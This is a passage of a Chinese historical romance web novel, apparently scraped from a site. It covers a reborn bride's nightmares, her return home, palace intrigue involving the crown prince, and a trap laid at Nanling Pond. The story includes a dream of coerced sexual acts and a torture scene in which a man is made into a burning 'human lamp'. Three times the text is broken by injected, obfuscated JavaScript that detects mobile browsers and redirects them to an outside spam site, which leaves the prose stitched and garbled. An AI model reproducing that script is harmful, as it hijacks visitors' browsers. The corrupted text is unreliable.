不过要是比起来,她惹了他,咬一口就能好的话,比起那个让她三天不穿衣服的恶贼要好了太多。 鹿微眠这么想,叹了口气。 说来还有边境进犯的危机,封行渊正好也是戍边回来的。 等日后有机会再与他提起,商讨如何提前找到那个恶贼。 鹿微眠涂好药,放下药膏。 深秋入夜,屋内暖炉中蹦出细细的火星。 火花仿若在屋内少女心口轻爆。 她指尖颤动了下。 迷蒙中她听到了熟悉的声音,“封夫人,王上请您去书房。” 鹿微眠睁开眼睛,眼前一片黑暗,但屋内脚步声渐进,服侍她起床洗沐。 她看不见,做什么都需要旁人帮忙,像是一只任人摆弄的玩偶。 婢女给她换上前日他们王上说好看的衣服,但鹿微眠总是没有安全感。 她总觉得那件纱衣很单薄,腰间半露薄纱覆盖,两侧坠着宝石和铃铛,走起路来叮当作响。 婢女说,这是她们家乡很常见的衣着。 鹿微眠也才稍微能说服自己接受。 鹿微眠被扶进他的书房。 他今日倒是没有难为她,只是让她帮忙磨墨。 但她大概是把事情想简单了,在失明的情况下,做任何事情的难度都会加倍。 她一个不小心将墨汁溅在了男人的手上和身上。 男人悠游道,“阿眠把我弄脏了,怎么办?” 又是这样不辨喜怒的语气。 鹿微眠最怕他这般听不出情绪的语气,这个人虽然坏事做尽,但离奇得爱干净,最不喜欢谁弄脏弄坏他精心呵护的一切。 她一面道着歉一面拿帕子,想要帮他擦拭。 她刚扶过他的手,就被反扣住,腰身被动地抵在桌案前。 桌上东西七零八落。 作为报复,他把她抵在桌边,也把她弄得乱七八糟、一片狼藉。 身上衣饰宝石铃铛响成一片,鹿微眠阻止不了他,也阻止不了它们发出声音。 连她自己都无法控制声音。 在她筋疲力竭时,他将脏东西尽数挖出涂到了她的手上,完成了他的报复,告诉她,“现在,我们两个里里外外都脏了。” 他恶劣地评价,“这很公平。” “啪”地一声火花细响,鹿微眠神经绷断,骤然从睡梦中惊醒。 她撑坐起身,睁开眼睛看见了屋内焚烧地火炉与香炉,这才缓过神来。 眼前一切都清明无比。 这是梦。 只是梦。 鹿微眠环抱住自己,身上一片恶寒。 也不知是不是刚做了噩梦,她总觉得黑暗中,仿佛有蛰伏的猛兽紧紧盯着她。 鹿微眠睡不着了,她起身将外面值守的暮云叫进来陪她一起睡。 暮云百般无奈,推脱着说不合规矩,但还是被鹿微眠拉到了床上。 鹿微眠自小怕黑,小时候便迟迟不能与母亲分房。 后来即便是分了房,也有好几年是孙嬷嬷陪着睡的。 一直陪到及笄前两年。 偶尔晚上怕黑,还是要拉着暮云暮雨陪。 孙嬷嬷总是打趣她,嫁了人就有夫君陪,不如快些寻个良婿晚上哄她睡觉。 但那个时候不想她嫁人会是这般光景。 暮云比她年长两岁,鹿微眠一直拿她当大姐姐,在她身边会比较有安全感。 鹿微眠额头抵靠在暮云肩侧,摒弃掉那些混乱的梦魇。 她白天就不该想那个人。 怎么会梦到他。 * 回门当日,司空府外车马络绎不绝,场面比不上大婚,但足够引人驻足。 鹿微眠困顿地下车,脚步都有些打飘。 她在闺中日常睡到午时的人,已经连续三日早起了。 昨夜又噩梦缠身,她要不行了。 鹿微眠身形一晃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大抵也是觉得这场面尴尬,鹿瑜帮鹿微眠跟封行渊解释道,“小女自小没离开过我们,乍一离家未免娇气了些。” 封行渊看起来不甚在意。 毕竟在场的人几乎都默认,鹿微眠此番出嫁,是受了大委屈。 在夫家想必过得也不那么顺畅,回来才会这般伤心。 屋内有人心疼,有人看戏。 对面是她的舅舅,舅母,和鹿微眠的表妹叶心娴。 屋内嘈杂,叶心娴站在角落里听婢女过来,复述了一遍门口鹿微眠说几日没睡好的话。 叶心娴打量着鹿微眠眼底乌青,眠颈间还有些暗痕,哭得又难过无比,心下了然。 看来那合欢散她没白准备,封轸不愧是太子的死对头,想必是把对太子的怨恨尽数发泄在了鹿微眠身上,凌辱折磨。 也难为她费尽心机差父亲使人让天师编了个由头,促成他们的婚事。 不过今日临世将星得重用,明日就是灭世灾星被诛杀,全凭她的心情。 从前在闺阁中,她们也算是闺中玩伴。 但所有人都喜欢拿他们这对表姐妹比较,他们总是只能看到鹿微眠。 母亲以皇后之礼培养她,她费尽心思接近太子,没想到太子看上的也是她这个好姐姐。 自己这般努力都没有得到,鹿微眠什么都没做,她凭什么。 鹿微眠就该嫁给这个不人不鬼的怪物,相配人下人。 封轸如今重伤,又是太子死敌,等日后太子登基,鹿微眠难堪的苦日子才刚刚开始。 8. 第8章 叶心娴适时出声劝慰,“今日回门是喜事,表姐还是开心些。我可盼着你回来跟我玩盼了许久。” 也不知是不是错觉,从前总喜欢粘着她的鹿微眠,这会儿像是没听见她的话。 叶心娴并不在意这些小事。 鹿微眠性子单纯,又是一根直肠子藏不住心事,好拿捏得很。 就像这门婚事一样。 她不过动动手指,鹿微眠再怎么不情愿,也不得不嫁给这样的下等人。 鹿夫人叶绾见女儿有话要说,寻了个借口让家里的人先散了,将鹿微眠带进里屋。 叶绾先擦掉鹿微眠脸上的眼泪,温声问她,“方才你舅舅,你表妹与你说话,你怎么不应呢?” 鹿微眠垂眸,她还不知道该如何将舅舅日后会谋害他们家的事情说出来。 她母亲极为看重手足情谊,尤其看重她这个弟弟。 鹿微眠沉默片刻。 叶绾看出异常,“怎么了,可是出了什么事?” 鹿微眠掀起眼帘,红润的脸被母亲捧在掌心,像是一只小苹果,“若我说,以后咱们家会因为舅舅出事呢?” 叶绾听不明白,只当她在开玩笑,“这话从何说起,你舅舅如何疼你,你还不知道吗?” “我知道,”鹿微眠抿唇,试图说服叶绾,“我近来出嫁总是心神不宁,梦到了很多以后的事情。” 她见叶绾一副并不在意的样子,握住叶绾的手,“我还知道父亲应当快要接手江南水坝修缮了。图纸会出问题,还有……” “江南水坝修缮,是今年年初江南洪水就定下来在筹备的事了,也不是什么秘密。”叶绾觉鹿微眠就是出嫁不顺,所致的思虑过重,“你的新夫婿,他可欺负你了?” 鹿微眠被堵住话,有点着急,“他没有欺负我,可是舅舅他们……” “好了,”叶绾温柔地拍了拍她的手,“不要因为莫须有的梦劳心伤神。” “当年你外祖父战死沙场,外祖母重病不起也撒手人寰。我和你舅舅独自在侯府相依为命,那段时间他是我在这个世上唯一的亲人,现在也是我唯一的娘家人,你不能这样编排你舅舅。” 鹿微眠一时哑然。 她一直知道母亲娘家的事情,母亲和舅舅关系极为亲近,因此来往一直很多。 当年先帝感念忠勇侯一家,破例册封十三岁的叶绾为郡主,十岁的叶霖袭侯爵位,叶绾独自带着叶霖在侯府生活。 这样的感情,鹿微眠清楚根本无法用三言两语,让母亲对舅舅产生疑心。 鹿微眠沉默不语。 叶绾只当她是休息不好,拿出了一个盒子,“既然回家来了,那就先好好休息。” “这个云涎香你忘了带走,这回多拿点回去用,免得晚上会做噩梦。” 鹿微眠心不在焉地拿着盒子从母亲房间里出来,转手递给暮云。 暮云瞧着主子垂头丧气的模样,上前小声问着,“怎么了?” 鹿微眠在门口停下。 暮云极少见鹿微眠这副忧思深重的表情。 虽不知道她在担心什么事,但能让她们无忧无虑的姑娘这幅样子的,一定是一件不小的大事。 鹿微眠就这么停滞很久才开口,“帮我去查一个人。” “工部侍郎,周喆。” “好。”暮云答应下来,又问道,“查什么?” “先找人盯他每日的来往行踪,去过哪里见过什么人,事无巨细地告诉我。”鹿微眠朝着自己的院子走。 周喆是她父亲的亲信手下,被她父亲一手提拔上来。 前世最先查出来有问题的是工程图纸,周喆检举,她父亲被罢免官职后,周喆就是下一个司空。 他若是受人指使,一定有痕迹破绽。 不管是太子也好,叶霖也好。 既然不能用言语说服他们,那只能让叛徒的行动提前暴露。 暮云答应下来,转而出去查办。 鹿微眠深吸一口气,独自往自己的小院子里走。 忽然一颗小石子从旁边飞过,轻打了下她的裙摆。 鹿微眠头也没回,继续往前走。 又一颗石子追上来,踢到了她的脚后跟。 后面的人见她没有反应,等不及凑上前,“阿姐。” 鹿峥追了两步,伸手拉住她的袖子,“阿姐怎么不理我了?” 鹿微眠被他拉住,回过身站定。 少年正是抽条长个的年纪,已然比鹿微眠高了些许,清俊眉眼触及她的眼神,气势上还是低了很多。 鹿峥被她看得心虚,摸了摸鼻梁,“那天是没成功,撞到了褚家哥哥,不过我又想到了一个办法……” “你还敢想。”鹿微眠打断了他的话,“谁准你这么做的?” 鹿峥被凶得一顿,轻声细语道,“怎么了嘛,你又不喜欢他。” “不管我喜不喜欢,你也不能这样欺负人。” 鹿峥见鹿微眠生气,嗫嚅道,“我没想欺负人,我就是想要帮你出气。” “不许这般自作主张。”鹿微眠知道鹿峥这孩子,做什么都莽莽撞撞、冒冒失失的,上辈子明明被送了出去,结果跑回来为了他们一家去刺杀太子,落了个身首异处的下场。 鹿微眠想到太子,又不自觉的想到封行渊,“他是个好人,你不能这么对他。” 她说完,径直离开。 鹿微眠拐进自己的院子里,迎面撞上院门里的封行渊。 鹿微眠心口一滞。 看封行渊的表情,似乎听到了她和鹿峥的对话。 鹿微眠有点尴尬,但她也没说什么不该说的,“你怎么在院子里站着,不进屋休息吗?” 封行渊没有答话,只是别有深意地看向她颈间被咬过的痕迹。 脑海中又想起她那句“他是个好人”。 封行渊可想不起来自己哪里是个好人了,他慢条斯理道,“我这么咬你,还是好人?” 他若是存心偏一点位置,就能把她咬死。 鹿微眠并不知道他心下的想法,她只知道,有的夫妻之间,的确会存在一些这种喜好。 他不使劲,被咬起来的感觉,也不全然是痛。 “你既知道这样不好,”鹿微眠掰了掰手指,迟疑很久才望向他,“那你下次咬我,能不能轻一点,我怕疼。” 封行渊就这么看了她许久,到底也没有回答她愿不愿意轻一点。 鹿微眠也没有纠结这个答案。 她还有很多事情要做。 除了父亲官场上的叛徒,她查了一遍府里人的来历和身契,就怕家贼难防会带来很多麻烦。 因此回门归宁当日来不及回封府,与习俗相悖。 不过封行渊对此毫不在意,鹿司空和郡主自然也希望女儿能多留一留,那就没有什么好忌讳的。 鹿微眠拿了徐桦的身契比对,虽然看不出什么异样,但是鹿微眠还是觉得,相比于徐桦,她还是更希望孙嬷嬷跟她在封府。 鹿微眠把徐桦的身契交给暮雨,盘算着等回去,先把徐桦调换走。 鹿微眠回房间,屋内暮云已经帮她点上了母亲送来的云涎香。 闺中熟悉的气息反倒让她安心不少。 她环顾四周,没看见封行渊的影子,转头问着,“他人呢?” 暮雨回着,“姑爷方才有事出去了一趟。” 鹿微眠了然,“他今晚不回来就罢了,回来的话,让他来我屋里的偏房睡。回门不好分房,免得落人口舌。” 暮雨收拾了床铺,床枕边留了一盏灯。 私牢密室中,男人磕头声“咚咚”作响, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14639704|156361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “大人饶命,原本随您上战场的军械都是清点好的,可中途太子殿下遣人更换。” “太子说,只换掉您的军械,不会影响战事大局,小的也不敢不从。” “您也知道,我就是一个臣子,哪敢跟太子殿下作对。” “但小的知错,小的再也不敢了。” 封行渊似乎并没有在听他的话,坐在一旁单手抵着额头,不知道在想什么。 屋内寂静片刻。 那人偷偷抬头看他,却正好触及封行渊晦暗眉眼。 封行渊莫名问了一个八竿子打不着的问题,“那你觉得,我是个好人吗?” “是啊,”曹兴眼睛转了一圈,“您为国征战,率性坦荡,自然是个好人。” “既然我是个好人,”封行渊弯唇,像极了一个等待猎物上钩的猎手,“你就不应该这般对我,你是不是要为你的所作所为付出点代价。” 曹兴唇角颤动了下,一股恶寒油然而生,连忙磕头,“小的……小的日后定为您马首是瞻,偿还过错。” “这倒不用。”封行渊看了眼夜色,很宽容道,“近来夜里黑,你就帮我点个灯,引个路吧。” 曹兴一听,正要高兴,忽然看见一旁的随侍拿了把刀和油朝他走了过来。 他猛然意识到,这是要点人灯! 把腹部掏空,灌入灯油点灯! 在漫长的夜晚,将人慢慢地烧死。 男人剧烈的挣扎起来,“不要,大人!封大人!” 挣扎求饶声伴随着剧痛和恐惧,演变成了咒骂,“封轸!” “太子说得对,你就是个恶贯满盈、屠戮无度的天煞孤星!” “你这个疯子,你不得好死!” 曹兴的嘴被堵上。 封行渊对他的话充耳不闻,仿佛这些话他自小听过无数遍。 他甚至畅快无比。 对啊,他就是个疯子。 她怎么会觉得他是个好人。 封行渊回到司空府时,已是入夜亥时。 司空府一片空荡寂静,只有鹿微眠屋里还亮着灯。 值守的侍女将鹿微眠的原话带给他。 封行渊便一言不发地进了屋。 偏房与鹿微眠的卧房相通,这会儿她已经睡着了。 看起来睡得很沉,他进来都没有醒。 封行渊一瞬不瞬地盯着红纱帐内熟睡的人影,眼底带着微不可查的审视。 他在她的床榻边停了片刻,而后随手灭了床头灯盏。 鹿微眠清梦在此刻被什么侵入。 仿佛攀爬有力的藤蔓,拽住她的脚踝,毫无征兆地将她拽进了深渊。 她又做噩梦了。 梦到了被那个恶贼绑起来啃噬的场景。 鹿微眠一下子从睡梦中惊坐起身。 发觉床头留着的那盏灯已然熄灭,寒戾的月色照彻半间屋子。 鹿微眠爬起来,想要点灯,却怎么也找不到火折子。 她扶在桌边缓神,发觉自己双手在发抖,身上冷得厉害。 鹿微眠环顾四周,冷不丁看见睡前开着的偏房门,这会儿被人关上。 熏香中也夹杂了一丝不易察觉的清茶香。 他回来了。 鹿微眠反应过来。 对寒冷黑夜以及噩梦的惊惧盖过了理智。 她像是一个失去安全感的小孩子,抱起了枕头亦步亦趋地走到偏房。 封行渊闭着眼睛,躺在这个满床枕都是茉莉花香的床榻上,有些不适应。 偏偏外间不合时宜地传来脚步声。 封行渊警惕地睁眼,还未等他有所行动。 身侧的茉莉花香陡然放大,侵占了他全部的嗅觉。 紧接着,软绵绵的一团小心翼翼地钻进了他的被子里。 9. 第9章 封行渊在黑暗中与一双湿漉漉的眸子视线相触。 鹿微眠大抵也是觉得唐突,但又不敢再回去自己睡,“我害怕。” 封行渊看她,“夫人这样过来,该害怕的应该是我才对。” 鹿微眠觉得他又是在点新婚夜,她抢着喝合欢酒的事。 她轻扯住他的衣角,声音还带着刚刚睡醒的绵软,和受过惊吓的不安,可怜巴巴的,“我做噩梦了,从前该是嬷嬷陪我的,可是你在这里,我也不能让她们进来睡。” 她保证,“你陪我睡一晚,我不会对你做什么的。” 封行渊看她头发拱得不复平日里那般规矩齐整,像个小鸡窝,睡得乱七八糟就跑过来了。 “梦到什么了?” 鹿微眠吸了吸鼻子,“梦到了一个坏人。” 她不愿细说,扯着他袖口的手指收紧,将他的袖子攥进掌心,“你别问了,我们既然成亲了,你陪陪我都不行吗?” 封行渊觉得,她有点太爱撒娇了。 鹿微眠见他始终没有反应,不由得低了低头,像是做了极大的思想斗争和妥协,解开了寝衣衣带,露出了纤细脆弱的颈肩,“不然,我再给你咬一口也行。” 她忍着羞赧,以为暗夜里,他总归也看不见太多。 殊不知,封行渊晚间不带面具,他的异瞳,夜视极佳。 漆黑的偏房内,鹿微眠脸颊通红地低着头,寝衣虚虚地挂在肩头,入目一片羊脂玉般的莹润雪白,脖子锁骨上挂着一勾就断的浅色小衣绳带,再往下的绵延起伏…… 所有的一切,清清楚楚。 鹿微眠忍不住出声,“你,你你这次轻点好不好。” 封行渊移开视线拉过锦被躺下,言简意赅两个字,“睡吧。” 鹿微眠竖起耳朵,确认了一番,意识到他好像同意了。 而且没咬她。 鹿微眠心下雀跃,自作主张越过封行渊爬到床里侧躺好。 她在黑暗中偷偷抬头看他,发觉他仍然保持着平躺的姿势。 寂静无声的偏房内,响起少女极轻的气音,“谢谢你,封轸。” 她的声音很近,磨得他耳根发痒。 封行渊缓慢睁开眼睛。 他不懂,这有什么好谢的。 没有人谢过他。 这个小姑娘,似乎很爱时不时拿一颗甜枣来诱骗他。 * 次日清晨,天刚蒙蒙亮,封行渊半梦半醒间仿佛被什么东西缠住。 像是山涧水妖,温凉细滑,触之生温,缠得他身体发沉。 封行渊睁开眼睛,正欲发作,转头听见了一声轻哼。 她的额头抵在他肩头,像是抱布偶娃娃一样抱着他的手臂,毫无知觉地将整个身子都贴在他的手臂上。 少年坚实有力的手臂隔着两层寝衣,依然能感觉到女孩子柔软如水的身躯。 这个小姑娘睡觉着实不太老实。 封行渊抽手起身,手臂冷不防剐蹭到了水球一样的地方,让他身体微僵。 他在原地定了片刻,回头看过去,好在鹿微眠也没有醒。 封行渊回神,起身快步出门。 屋外天色凄清,也才寅时。 今日回封府,并没有什么吉时要求,鹿微眠睡到日上三竿才醒。 司空府的人都清楚他们姑娘晨起时间,因而也没有人叫她。 鹿微眠迷迷糊糊地起床,出门看见封行渊坐在房内。 拿着帕子,擦着手里的短刀。 他听见她出来,略略抬了下眼皮,但也没看她,继续做着手里的事情。 鹿微眠瞧着这时辰,应该有巳时了,也不知他等自己晨起等了多久。 “你早起来了吗?” 封行渊嗓音很淡,有意回避着什么,“不早,刚起。” 鹿微眠想他昨夜回来得就晚,晨起晚些也正常,便信以为真。 她梳洗完,已接近午时,他们在司空府用了午膳,才启程回封府。 鹿微眠临走前,将孙嬷嬷叫到了旁边。 孙嬷嬷冷不丁听姑娘叫她,连忙整理了一下仪容,紧张地擦了擦手上前,“姑娘可是有事?” 鹿微眠见她过来,就亲昵地握住了孙嬷嬷的手,眼巴巴地问,“我如今在封府还是缺些人手,你可方便来帮衬我?” 孙嬷嬷一时间以为自己的耳朵出了问题,满脸诧异。 鹿微眠没听到她的回应,以为她是不愿意,“我知道我从前说了些不好的话,惹您伤心了,可我如今才知道我是万万离不开您的,真的不能来陪我吗?” 女孩子嗓音糯糯,传入不远处封行渊耳中。 他面色几分戏谑轻佻。 原来跟谁都可以给一颗甜枣。 “怎么不能啊,”孙嬷嬷喜出望外,“老婆子我可整日盼着呢。” 她转头看向老爷夫人,但鹿司空和郡主一向是对鹿微眠有求必应,这件事只需要鹿微眠张嘴就好。 “姑娘你且等着,我收拾东西,尽快去找你。” 鹿微眠安排好,转头叫封行渊上车。 封行渊站在原地没动,选了骑马,随口道,“今早宫里来了个急诏,我一会儿得入宫。” “这样啊。”鹿微眠没有怀疑,因而也没有留他上车,“那你去吧。” 鹿微眠独自回了封府,下车后边走边问着,“宫里是出了什么事吗,怎么这么急?” 暮云低声道,“今日什么事不知道,不过咱们在家那两天,听说兵部的曹大人卷了财物失踪了,然后牵连出了军械造假的事情。” 鹿微眠有些诧异,“军械造假?” “但是好像也不都是假的,据说只有姑爷和他的副将用的是假的,不然姑爷也不至于伤得那么重。” 鹿微眠隐约觉得此事跟太子脱不开关系,“有查出来幕后主使吗?” “这个奴婢也不知道。” 鹿微眠点头,先进了屋子。 院子里的徐桦听着她们的对话,竖起了耳朵。 但偏偏对话戛然而止,鹿微眠回房就没有再说什么。 徐桦凑到暮云身边,“宫里 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鹿微眠上前开门,徐桦进门将温好的牛乳放在桌上,“这几日夫人辛苦了,趁热喝了好休息。” 鹿微眠坐在桌前,轻握了一下温热的碗,将碗里的牛乳喝下。 她轻拭唇角,顺便打算提起遣徐桦出府的事。 偏巧这时徐桦鬼鬼祟祟地环顾四周,转头将房门关上。 她回来时手里多了一封信,递到了鹿微眠面前。 鹿微眠看到信件,心里咯噔一下,眉头紧锁,“这是什么?” “这是殿下给您的信啊,”徐桦邀功似得笑道,“您忘了吗?您差我随时与殿下联络。” 鹿微眠正要发作,又被徐桦打断,将信件推到鹿微眠面前,“殿下知道这门亲事您受委屈了,您先别生气,看看殿下如何说。” 鹿微眠并不想看,“到底慕青辞是你的主子,还是我是你的主子。” 徐桦弯着腰,“您这话说的,那肯定是您。” “那我应当也与你说过,我既嫁入封府,便不会再与不该来往的人来往。” “夫人啊,您凤命在身,难道甘心一辈子困在这个不人不鬼、半死不活的人身边吗?”便是鹿微眠甘心,她也不甘心到手的荣华富贵跑了。 徐桦将鹿微眠从前的话重复道,“您当初也是与我说过的,您日后与封轸只能是逢场作戏,迟早要离开这里。” 鹿微眠凝眉,她无法否认这是她重生前说过的话。 未等她开口反驳,萧瑟秋风吹动门窗。 “哐当”一声,房门被吹开! 封行渊恰好站在门外。 鹿微眠霎时心脏空悬,停滞一拍。 徐桦也吓了一跳,惊慌地看着门口。 少年那一角黑色面具,在黑夜之中渗着凄冷月光,令人不寒而栗。 偏生他嗓音清越,“是我来得不巧,撞上你们主仆说悄悄话,听见了些不该听的话。” 10. 第10章 鹿微眠不知怎么的心慌得厉害。 封行渊眉梢微扬,“你们继续。” 他转头准备走。 鹿微眠起身追上前,拉住他,“等等。” 她只着红色寝裙,追出房门,屋外深秋冷风激得她打了个寒战,连声音都有些发颤。 “我们说的话,你可以听。” 徐桦瞪圆了眼睛,有些难以置信。 可以听? 鹿微眠硬是将封行渊拉进了门,吩咐徐桦,“你出去,明日便不用来伺候了。” 徐桦不甘心,“夫人……” 她话还没说出来,就被鹿微眠挡在了门外。 房门“砰”地一声关上。 屋内一时间只剩下他们两人。 桌上那封信还板板正正的摆在他们面前。 鹿微眠视线触之,就不自觉地心悸。 但她既然打算好好跟他过日子,便不能任由嫌隙滋生。 鹿微眠尴尬地示意,“坐。” “不坐了。”封行渊漫不经心道,“夫人不用这般为难,有些话不合适我听,我可以回避。” “你不要误会。”鹿微眠有点着急,“我方才是与我的管事嬷嬷有了些争执,那争执也是我从前与你说过的。” “我是与慕青辞有一些旧情,但我现在已经与他没关系了。我既嫁了过来,那就没想别的。” “慕青辞他别有所图,我不可能会对他再抱有任何幻想。” 封行渊嗓音很淡,“那你怎么能确定,我就是个可以抱有幻想的人。” 鹿微眠语塞。 他缓步上前,“日后,你若发现我甚至不如慕青辞,是不是一样可以离开。” “对另一个人说,我封轸,是个十恶不赦的怪物。” 他的视线和言语,都带有极强的攻击性。 鹿微眠眼睫轻颤,有意回避他的视线。 却忽然被握住下颚,抵在门板上。 封行渊只有手指碰到她,面色冷淡疏离,“夫人最好想清楚。” “哄骗我的话说得越多,有朝一日背叛我抛弃我,付出的代价就越大。” 封行渊松开她,语调拖长,“日后也不必与我逢场作戏,这般辛苦。” “我没……”鹿微眠话没说完,就被他打断。 “早些休息。” 鹿微眠看他离开,在原地缓了很久。 她转头看见桌上摆着的信件,心烦意乱地扔进了旁边的炭火炉里。 火舌卷过信纸,从信纸一角开始缓慢地吞噬殆尽。 徐桦躲在院子外,探头打量着不远处的光景,看见封行渊出来,便往院墙后躲了躲。 她自以为躲得天衣无缝,丝毫没注意到院内封行渊离开时看了这边一眼。 徐桦也不知屋内境况如何,眼下拿不准主意,索性回到自己的房间里,将方才发生的事情以及封府的情况,尽数告知太子,询问着眼下如何要继续留在鹿氏身边盯梢。 而后将信偷偷放到一处院墙砖块内。 徐桦鬼鬼祟祟回房的路上,走到湖边,蓦地感受到一股阴冷气。 她不自觉的加快脚步,却一个脚滑,径直跌入了池水中! 院子里有冷风和人影经过,悄无声息地换走了砖块内的信,隐藏了封府的关键信息,只留了鹿微眠放弃太子的话。 夜过子时,院墙外的砖块松动,将藏于砖块内的信拿走。 深夜东宫内依然灯火通明。 姜崇将信件送到房内。 慕青辞看着信件上说着鹿微眠不愿再与他联系,眉头紧锁。 他沉吟良久,有些怅然,“阿眠生气了,她怪我。” 屋内有片刻的寂静,慕青辞放下手中信件,“她怪我是应当的,是我没保护好她。” 慕青辞提笔又停顿,他吩咐姜崇,“去把九天玉印拿来。” 姜崇闻言抬头,不得不提醒,“这……九天玉印,是为将来太子妃打的。日后您登基,这就是新后凤印。此物极为重要,怕是不能……” 慕青辞重复,“拿来。” 姜崇只得应声。 慕青辞没有再写那些虚无缥缈的哄慰陈词,直接写了一封请婚书,将玉印放在信封内,“务必送到她手上。” 姜崇躬身接过,“是。” 姜崇提起另一件事,“殿下,兵部曹兴曹大人来信,人还在京城避风头,请咱们帮忙,明日月初城防守卫换班时,溜出京城。” 这几日慕青辞被封行渊抓住了私换军械的短处,只是还没有证据指证慕青辞是幕后主使。 慕青辞命掌管此事的曹兴躲起来,以免被封行渊抓住把柄。 但能让这件事,彻底无从查证的办法,其实很简单。 “只有死人是不会开口的。”慕青辞随口道,“你知道该怎么做。” 姜崇颔首,领命离开。 踏出寝殿,姜崇站直身子,身形颀长玉立。 寒戾月色落在姜崇眉眼上,他叫来暗卫,将曹兴的事情安排下去。 复而又看到了另一封带给鹿微眠的信。 * 晌午时分,暮雨采买回院,兴冲冲地进屋,“夫人,我今日买到了东昌楼的奶白糕。” 暮雨将食盒摆在桌上,没有听到鹿微眠的回应,抬头看过去。 只见鹿微眠撑着额头,盯着手里的书本发呆。 暮雨凑上前,又叫了她一声,鹿微眠才回过神来。 “夫人心情不好吗?” 鹿微眠放下手中的书卷,也不知道该怎么说,“没事。” “对了,”鹿微眠提起,“徐桦去哪了,昨日让她出去就没再看见她。” 暮雨想起来,“今早我去问了咱院里的看守侍卫,说是被姑爷遣出府了。估摸着投奔太子了也未可知。” 鹿微眠听是封行渊摆平的,一时也没吭声。 暮雨看她,“夫人来吃点东西,心情就会好了。” 鹿微眠起身,跟着暮雨过去。 暮雨一层一层打开食盒,将奶白糕摆在鹿微眠面前,“今早我去的时候,那掌柜的都认识我了。” “他说瞧我们好几次去都没买到,特地给我们留了一份。” 暮雨说着掀开最后一层,一封信赫然出现在两人面前。 暮雨愣了一下。 鹿微眠看着熟悉的信笺,一时间眉头紧锁。 “我拿的时候,还没有这个啊,这是什么?”暮雨一头雾水地拿起来,“该不会是掌柜送的什么问好信……” “不是问好信。”鹿微眠冷淡出声,“是东宫送来的信。” 暮雨的手僵住,立马放了回去,连声解释,“夫人,这我,我不知道,这个它……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14639706|156361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我知道跟你没关系。”鹿微眠拿了起来,“他想送到,就不会有送不到的东西。” 这么执着地要给她送东西。 怕是她不让他彻底死心,就一直没完没了。 鹿微眠撕开信笺。 上面是她熟悉的端正字迹。 暮雨见状低头,“那我先回避……” “不用,”鹿微眠叫住暮雨,她现在和慕青辞没什么秘密,也不该有什么秘密,“他约我今晚南凌池见面,说要跟我说清楚,以后就再也不打扰我。” 信封里除了这张纸再无其他。 暮雨没想到鹿微眠把信里的内容直接说了出来。 暮雨显得很是局促,“那,夫人你要去吗?” 鹿微眠折起信纸,放在了一旁。 她并没有第一时间回答。 临近傍晚,一辆马车停在了封府后院,鹿微眠带着一顶帷帽上了车。 不久后凌一带着消息去了书房。 书房没有点灯,稍显昏暗,封行渊的身影隐没在黑暗之中 骨节分明的手指擦拭着那张黑色面具,“曹兴今晚离京的消息放出去了?” “已经放出去了。”凌一垂首,“东宫和兵部都放到了。” “如您所料,”凌一将拿到的消息尽数告知,“太子打算灭口,东宫今晚派了人在南凌池一带埋伏。” “兵部接到消息之后,也派了兵力,今晚准备活捉曹兴。” 曹兴是背着兵部和太子勾结,如今给兵部惹了这么大的祸事,兵部尚书必须得找到幕后主使好撇清关系,保住自己的官职,不然遭殃的是大半个兵部。 但曹兴活着的口供没有意义,他顾忌妻儿家眷在堂前一定不会招出太子。 “这个世界上只有死人,才能说出我爱听的话。”封行渊慢悠悠道,“今晚兵部撞上太子的人,想必场面应该十分精彩。” 这种情况下,只有幕后主使想灭口。 兵部与太子的人撞上,发觉太子想灭口,那太子指使曹兴私换军械一事,就板上钉钉。 凌一问,“今晚您要去看看吗?” 封行渊懒散道,“与我何干,不去。” 凌一犹豫了一番该不该说,索性还是开口,“主要是今日,夫人接到一封信,说是太子与她相约南凌池见面。” 封行渊擦拭面具的动作一顿,撩起眼皮看过去。 “属下以为,太子既然准备在南凌池灭口曹兴,就绝对不可能约夫人在南凌池见面。这封信定是另有他人,从中作梗。”凌一停顿了一下,“估摸着是趁着天黑安不清……意图借刀杀人。” 封行渊自然知道其中道理,眸光直直盯着不远处的属下,“她去了吗?” 凌一如实回禀,“晚膳后,夫人就出门了。” 封行渊眸色暗了几分,冷笑一声,继续擦着手里的面具,“旧情人相约,她必定巴不得要去。” “为了心上人,死在旁人的陷阱里。我都要为他们的感情潸然落泪了。” 凌一低头,正要结束禀报退下。 忽而听见封行渊起身。 封行渊从他身侧走过,拿面具遮住左眼异瞳,“走。” 凌一茫然抬头,“去哪?” “南凌池。” 少年悠然无比,“我迎娶的夫人,犯了事也只能落在我手里被处置。” 11. 第11章 夜色浓重,秋风萧瑟。 树林跌宕起层层树影婆娑声。 湖面倒映着漆黑浓重的树影夜色,犹如一汪无尽深渊。 不知何时,湖面映出些许橙黄微光,在晚风中摇摇晃晃,似是有人经过。 光影越来越近,伴随着笃笃马蹄声响彻在偌大的南凌池边。 